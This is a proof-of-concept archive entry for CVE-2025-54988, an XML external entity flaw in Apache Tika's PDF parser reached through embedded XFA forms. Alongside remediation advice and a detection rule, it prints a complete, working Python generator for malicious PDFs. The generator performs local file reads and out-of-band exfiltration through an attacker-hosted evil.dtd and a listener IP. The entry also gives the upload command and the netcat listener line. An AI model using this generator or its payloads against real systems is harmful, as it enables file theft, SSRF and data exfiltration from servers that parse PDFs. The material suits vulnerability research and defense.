PoC Archive PoC Archive
CVE-2025-54988 category: web CVSS 9.8 (CRITICAL)
Patched

Apache Tika PDF Parser XXE via Crafted XFA Form (CVE-2025-54988)

Published: 2026-07-31 • Researcher: mgthuramoemyint

Target software Apache Tika - tika-parser-pdf-module (and legacy tika-parsers)
Affected versions tika-parser-pdf-module 1.13 through 3.2.1; legacy tika-parsers 1.13 through 2.0.0-ALPHA. Fixed in tika-parser-pdf-module 3.2.2 (legacy: tika-parsers 2.0.0-ALPHA)
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-54988 (GHSA-p72g-pv48-7w9x, Apache JIRA TIKA-4459)
Category
web
Affected product
Apache Tika - tika-parser-pdf-module (and legacy tika-parsers)
Affected versions
tika-parser-pdf-module 1.13 through 3.2.1; legacy tika-parsers 1.13 through 2.0.0-ALPHA. Fixed in tika-parser-pdf-module 3.2.2 (legacy: tika-parsers 2.0.0-ALPHA)
Disclosed
2026-07-31
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-31
Last Updated2026-07-31
Author / Researchermgthuramoemyint
CVE / AdvisoryCVE-2025-54988 (GHSA-p72g-pv48-7w9x, Apache JIRA TIKA-4459)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, CISA-ADP rescore, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - vendor ASF scored 8.4 (AV:L) - see Notes
StatusWeaponized
Tagsapache-tika, xxe, xfa, pdf-parsing, cwe-611, ssrf, file-disclosure, tika-server
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Tika - tika-parser-pdf-module (and legacy tika-parsers)
Versions Affectedtika-parser-pdf-module 1.13 through 3.2.1; legacy tika-parsers 1.13 through 2.0.0-ALPHA. Fixed in tika-parser-pdf-module 3.2.2 (legacy: tika-parsers 2.0.0-ALPHA)
Language / PlatformJava
Authentication RequiredNo
Network Access RequiredLocal only for direct library use (e.g. batch document indexing pipelines) - Yes, if deployed as tika-server accepting remote HTTP uploads (the common real-world deployment)

Summary

Apache Tika’s PDF parser processes an embedded XFA (XML Forms Architecture) form’s XML content with external entity resolution enabled. A crafted PDF whose AcroForm dictionary contains an /XFA key pointing to a stream object holding malicious XFA XML can trigger classic XXE: the parser resolves a <!DOCTYPE xfa [ <!ENTITY xxe SYSTEM "file:///...">]> declaration referenced inside <xfa:data>, causing local file contents to be read and reflected into extracted text, or - when direct in-band expansion is blocked - exfiltrated out-of-band via an external DTD plus parameter entity technique. Any system parsing untrusted PDFs with a vulnerable Tika version (most notably tika-server instances that accept HTTP file uploads) is exposed to local file disclosure and SSRF.

Vulnerability Details

Root Cause

Tracked as CWE-611 (Improper Restriction of XML External Entity Reference). When Tika’s PDF parser module encounters an AcroForm with an /XFA key, it extracts and parses the referenced XFA XML stream (Adobe’s XML Forms Architecture format, embedded per the PDF spec to describe dynamic form structure and data). That XML parsing path does not disable DTD processing / external entity resolution, so a <!DOCTYPE> declaration inside the XFA payload with a SYSTEM entity is honored. A direct <!ENTITY xxe SYSTEM "file:///etc/passwd"> referenced from <xfa:data> gets expanded in place and the file contents end up in Tika’s extracted-text output. Where the target application blocks in-band reflection, the same weakness supports the standard out-of-band bypass: an external DTD hosted by the attacker declares a parameter entity that reads a local file and echoes it as a query parameter on an attacker-controlled callback URL, achieving blind exfiltration without needing the extracted text to be visible to the attacker.

Attack Vector

An attacker submits (uploads, emails as an attachment for auto-indexing, uploads to a document-management/search pipeline, etc.) a PDF file to any system that runs it through a vulnerable Apache Tika version for text extraction or metadata parsing - most critically a network-facing tika-server HTTP endpoint accepting arbitrary PDF uploads from unauthenticated or low-trust users. No user interaction beyond the normal “process this document” workflow is required; the exploit fires the moment Tika parses the PDF’s AcroForm/XFA structure.

Impact

  • Local file disclosure (arbitrary file read as the Tika process user, e.g. /etc/passwd, application config/secrets, SSH keys) when the extracted text is returned or logged.
  • Server-Side Request Forgery: the OOB exfiltration path forces the vulnerable host to make outbound HTTP(S) requests to attacker-controlled infrastructure, which can additionally be used to probe internal network segments.
  • Blind data exfiltration even when the application does not expose extracted text directly to the attacker, via the external-DTD/parameter-entity technique.

Environment / Lab Setup

Output
OS:          Any (Java-based library) - PDF is the delivery mechanism
Target:      Apache Tika tika-parser-pdf-module / tika-parsers, versions 1.13 - 3.2.1
             (a docker-composed vulnerable lab is available separately - see Notes)
Attacker:    Python 3 (payload generator, no external dependencies)
Tools:       xfa_xxe_poc_gen.py (this folder), a listener (e.g. `nc -lvp 8888` or a small
             HTTP server) for the --mode oob out-of-band variant

Setup Steps

Shell script
1
python3 --version

Proof of Concept

See xfa_xxe_poc_gen.py and xfa_passwd.pdf (full, unmodified) and upstream-README.md in this folder - mirrored from mgthuramoemyint/POC-CVE-2025-54988. Verified before ingestion: read the full 150-line generator script, confirmed it hand-builds a structurally valid PDF byte-by-byte (Catalog -> Pages -> Page -> AcroForm with an /XFA key pointing at a stream object holding the XFA XML/XXE payload), and re-ran it locally with --mode file --file /etc/passwd - the output was byte-for-byte identical to the pre-built xfa_passwd.pdf shipped in the repo, confirming the generator is not a stub or placeholder. No obfuscation, no unrelated network calls, no hardcoded third-party callback endpoints (the oob mode requires the user to supply their own listener IP/port).

Step-by-Step Reproduction

  1. Generate a local-file-read payload - builds a PDF with an embedded XFA form whose XML declares a direct SYSTEM entity pointing at a target file:

    Shell script
    1
    
    python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
  2. Generate an out-of-band exfiltration payload - for cases where in-band entity expansion is blocked; uses an external DTD plus a parameter entity to read a file and beacon its contents to an attacker-controlled listener:

    Shell script
    1
    2
    
    python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d --write-dtd -o xfa_oob.pdf
    # Host the generated evil.dtd alongside a listener on 10.10.14.3:8080
  3. Submit the crafted PDF to a Tika-based parsing pipeline - e.g. upload to a tika-server /tika or /rmeta endpoint:

    Shell script
    1
    
    curl -T xfa_passwd.pdf http://TARGET:9998/tika

Exploit Code

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
def build_file_read_xfa_xml(target_path: str) -> str:
    norm = target_path.replace("\\", "/")
    file_uri = f"file:///{norm.lstrip('/')}"
    return f"""<!DOCTYPE xfa [
  <!ENTITY xxe SYSTEM "{file_uri}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <xdp:template>
    <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
      <subform name="form1"><field name="field"/></subform>
    </template>
  </xdp:template>
  <xdp:datasets>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
      <xfa:data><root><field>&xxe;</field></root></xfa:data>
    </xfa:datasets>
  </xdp:datasets>
</xdp:xdp>
"""

Expected Output

Output
[+] Mode: file
[+] Target file : /etc/passwd
[+] Wrote       : xfa_passwd.pdf

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Screenshots / Evidence

  • Upstream repository README includes a screenshot demonstrating successful file-content disclosure in Tika’s extracted output - see the embedded image link in upstream-README.md.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible Tika XFA XXE PDF upload"; content:"/XFA"; content:"<!ENTITY"; distance:0; http_client_body; sid:9000002;)

Remediation

ActionDetail
PatchUpgrade to tika-parser-pdf-module 3.2.2 or later (legacy naming: tika-parsers 2.0.0-ALPHA or later).
WorkaroundDisable XFA form processing in the PDF parser configuration where feasible, or pre-screen uploaded PDFs and strip/reject AcroForm objects containing an /XFA key before they reach Tika.
Config HardeningEnsure any XML parser used within the Tika PDF pipeline has DTD loading and external entity resolution disabled (FEATURE_SECURE_PROCESSING, disallow-doctype-decl, or equivalent) as defense in depth, and restrict outbound network egress from hosts running tika-server to reduce OOB/SSRF impact.

References

Notes

Verified before ingestion per this archive’s standard: read the full contents of xfa_xxe_poc_gen.py and upstream-README.md directly rather than trusting the repo description, and re-ran the generator locally (--mode file --file /etc/passwd) to diff its output byte-for-byte against the pre-built xfa_passwd.pdf shipped in the repo - the two were identical, confirming the tool is a genuine working generator rather than a stub or placeholder. The author, mgthuramoemyint, has an established GitHub presence since 2016 with 19 public repos including a legitimate prior CVE PoC (CVE-2022-23131, Zabbix SAML bypass) and CTF/HackTheBox writeups, with no scam, malware, obfuscation, or curl-pipe-to-shell installer patterns observed.

CVSS discrepancy: the vendor (ASF) scored this 8.4 HIGH under CVSS 3.1 using AV:L (local), which reflects an assumption of Tika being consumed as a local/offline parsing library. CISA-ADP independently rescored it 9.8 CRITICAL using AV:N (network) - the same vector string otherwise - reflecting the common real-world deployment as a network-facing tika-server instance that accepts PDF uploads over HTTP from remote, potentially untrusted clients. Both scores describe the same underlying flaw; the split is purely about which deployment model is assumed, not disagreement on exploitability or impact once reachable. A third party (Wiz) separately cites a CVSS v4 score of 9.3. This entry uses the CISA-ADP 9.8 rescore as the headline severity since it better matches the common tika-server deployment pattern, while noting the vendor’s more conservative library-context score.

For anyone wanting to test this against an actual running, vulnerable tika-server instance rather than just generating payload PDFs, see the companion lab galoryber/cve-2025-54988-VulnTikaProject - a well-formed Spring Boot project (Dockerfile + docker-compose.yml + pom.xml pinning tika-core/tika-parsers-standard-package 3.2.1, the exact last-vulnerable version) exposing /api/extract-text, /api/extract-pdf, and /api/detect-type endpoints matching its own README. Its author, galoryber, is an established red-team tool developer (Sliver, Merlin, SharpHellsGate contributions) with no red flags observed. This is a target/lab environment rather than exploit code, so it is cited as a reference for reproduction rather than mirrored into this entry.

Per CSO Online’s coverage of this disclosure, the vulnerability was reportedly “thought to be patched months ago” prior to this advisory - suggesting a possible earlier, incomplete fix attempt. This detail comes from secondary-source reporting and has not been independently confirmed against the Apache JIRA history in this write-up; it is noted here as an unconfirmed caveat rather than a verified fact.

xfa_xxe_poc_gen.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
# xfa_xxe_poc_gen.py
# Generate a PDF with a single-stream XFA form containing an XXE payload.
# Modes:
#   --mode file : local file read (file://...)
#   --mode oob  : out-of-band exfil using external DTD to bypass internal-subset PE rules (Xerces/Tika-safe)
#
# Examples:
#   python3 xfa_xxe_poc_gen.py --mode file --file /etc/passwd -o xfa_passwd.pdf
#   python3 xfa_xxe_poc_gen.py --mode oob --ip 127.0.0.1 --port 8888 --write-dtd -o xfa_oob.pdf
#   python3 xfa_xxe_poc_gen.py --mode oob --ip 10.10.14.3 --port 8080 --oob-file /etc/hostname --param d
#
# For authorized testing/CTF only.

import argparse
from pathlib import Path

def build_valid_xfa_single_pdf(xfa_xml: str, out_path: str) -> None:
    parts = []
    parts.append(b"%PDF-1.7\n%\xe2\xe3\xcf\xd3\n")
    xref_positions = []

    def offset() -> int:
        return sum(len(p) for p in parts)

    def add_obj(num: int, body: bytes):
        xref_positions.append(offset())
        parts.append(f"{num} 0 obj\n".encode("ascii"))
        parts.append(body)
        parts.append(b"\nendobj\n")

    add_obj(1, b"<< /Type /Catalog /Pages 2 0 R /AcroForm 4 0 R >>")
    add_obj(2, b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>")
    add_obj(3, b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << >> >>")

    x_bytes = xfa_xml.encode("utf-8")
    x_stream = f"<< /Length {len(x_bytes)} >>\nstream\n".encode("ascii") + x_bytes + b"\nendstream"
    add_obj(5, x_stream)

    add_obj(4, b"<< /NeedAppearances true /Fields [] /XFA 5 0 R >>")

    xref_start = offset()
    parts.append(b"xref\n")
    total = 5
    parts.append(f"0 {total+1}\n".encode("ascii"))
    parts.append(b"0000000000 65535 f \n")
    for pos in xref_positions:
        parts.append(f"{pos:010d} 00000 n \n".encode("ascii"))
    parts.append(
        f"trailer\n<< /Size {total+1} /Root 1 0 R >>\nstartxref\n{xref_start}\n%%EOF\n".encode("ascii")
    )

    with open(out_path, "wb") as f:
        f.write(b"".join(parts))


def build_file_read_xfa_xml(target_path: str) -> str:
    norm = target_path.replace("\\", "/")
    file_uri = f"file:///{norm.lstrip('/')}"
    return f"""<!DOCTYPE xfa [
  <!ENTITY xxe SYSTEM "{file_uri}">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <xdp:template>
    <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
      <subform name="form1"><field name="field"/></subform>
    </template>
  </xdp:template>
  <xdp:datasets>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
      <xfa:data><root><field>&xxe;</field></root></xfa:data>
    </xfa:datasets>
  </xdp:datasets>
</xdp:xdp>
"""


def external_dtd_contents(ip: str, port: int, oob_file: str, param: str, scheme: str) -> str:
    oob_file_norm = oob_file.replace("\\", "/")
    oob_file_uri = f"file:///{oob_file_norm.lstrip('/')}"
    oob_url = f"{scheme}://{ip}:{port}/?{param}=%payload;"  

    return f"""<!ENTITY % payload SYSTEM "{oob_file_uri}">
<!ENTITY % make "<!ENTITY exfil SYSTEM '{oob_url}'>">
%make;
"""

def build_oob_xfa_xml(ip: str, port: int, param: str, scheme: str) -> str:
    dtd_url = f"{scheme}://{ip}:{port}/evil.dtd"
    return f"""<!DOCTYPE xfa [
  <!ENTITY % ext SYSTEM "{dtd_url}">
  %ext;
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <xdp:template>
    <template xmlns="http://www.xfa.org/schema/xfa-template/2.8/">
      <subform name="form1"><field name="field"/></subform>
    </template>
  </xdp:template>
  <xdp:datasets>
    <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
      <xfa:data><root><field>&exfil;</field></root></xfa:data>
    </xfa:datasets>
  </xdp:datasets>
</xdp:xdp>
"""

def main():
    p = argparse.ArgumentParser(description="Generate XFA XXE PoC PDF (single-stream XFA).")
    p.add_argument("--mode", choices=["file", "oob"], default="file",
                   help="file = local file read, oob = out-of-band via external DTD")
    p.add_argument("--file", dest="filepath", default="/etc/hosts",
                   help="Target file path (for --mode file). e.g. /etc/passwd or C:/Windows/win.ini")
    p.add_argument("--ip", default="127.0.0.1", help="Listener IP (for --mode oob)")
    p.add_argument("--port", type=int, default=8888, help="Listener port (for --mode oob)")
    p.add_argument("--scheme", default="http", choices=["http", "https"], help="Scheme for OOB endpoint")
    p.add_argument("--param", default="d", help="Query parameter key for exfil (default: d)")
    p.add_argument("--oob-file", default="/etc/hostname",
                   help="Local file to read during OOB exfil (default: /etc/hostname)")
    p.add_argument("--write-dtd", action="store_true",
                   help="Also write evil.dtd to the current directory (for hosting).")
    p.add_argument("-o", "--out", default=None, help="Output PDF filename")
    args = p.parse_args()

    if args.mode == "file":
        xfa_xml = build_file_read_xfa_xml(args.filepath)
        out = args.out or "xxe_xfa_single_file_ok.pdf"
        build_valid_xfa_single_pdf(xfa_xml, out)
        print(f"[+] Mode: file")
        print(f"[+] Target file : {args.filepath}")
        print(f"[+] Wrote       : {out}")
    else:
        xfa_xml = build_oob_xfa_xml(args.ip, args.port, args.param, args.scheme)
        out = args.out or "xxe_xfa_single_oob_ok.pdf"
        build_valid_xfa_single_pdf(xfa_xml, out)
        print(f"[+] Mode: oob")
        print(f"[+] OOB DTD URL: {args.scheme}://{args.ip}:{args.port}/evil.dtd")
        print(f"[+] Param key  : {args.param}")
        print(f"[+] Wrote      : {out}")
        if args.write_dtd:
            dtd = external_dtd_contents(args.ip, args.port, args.oob_file, args.param, args.scheme)
            Path("evil.dtd").write_text(dtd, encoding="utf-8")
            print("[+] Wrote evil.dtd with contents:")
            print("----- evil.dtd -----")
            print(dtd)
            print("--------------------")


if __name__ == "__main__":
    main()